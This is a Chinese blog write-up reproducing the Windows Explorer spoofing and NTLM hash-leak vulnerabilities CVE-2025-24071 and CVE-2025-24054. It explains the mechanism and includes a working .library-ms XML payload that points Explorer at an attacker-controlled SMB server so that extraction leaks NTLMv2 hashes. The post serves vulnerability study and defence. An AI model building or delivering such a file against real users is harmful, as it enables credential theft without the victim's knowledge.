Microsoft Windows 文件资源管理器欺骗漏洞（CVE-2025-24071） / NTLM 哈希泄露欺骗漏洞（CVE-2025-24054）复现

原创

已于 2025-03-22 13:19:51 修改 · 3.1k 阅读

标签

#网络 #安全 #windows #CVE

收录于

于 2025-03-22 13:01:39 首次发布

漏洞原理

总的来说，这两个CVE是通过RAR/ZIP提取.library-ms文件，对文件资源管理器欺骗，从而造成NTLM哈希泄漏

当包含 SMB 路径的特制.library-ms文件被压缩到 RAR/ZIP 存档中并随后解压时，Windows 资源管理器会根据其内置的索引和预览机制自动解析此文件的内容。出现此行为的原因是，Windows 资源管理器在解压时会自动处理某些文件类型以生成预览、缩略图或索引元数据，即使用户从未明确打开或单击该文件。

.library-ms文件格式基于 XML，Windows 资源管理器会信任它来定义搜索和库位置。提取后，索引服务和资源管理器的内置文件解析机制会立即分析.library-ms文件内容以呈现适当的图标、缩略图或元数据信息。

所以可以提供包含<simpleLocation>标签的文件，直接指向攻击者控制的 SMB 服务器，比如设置为192.168.8.132

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <simpleLocation>
        <url>\\\\192.168.8.132\\shared</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>

提取后，Windows 资源管理器会尝试自动解析\\192.168.8.132\shared以收集元数据和索引文件信息。此操作会触发从受害者系统到攻击者控制的 SMB 服务器的隐式 NTLM 身份验证握手。因此，受害者的 NTLMv2 哈希会在没有明确用户交互的情况下发送。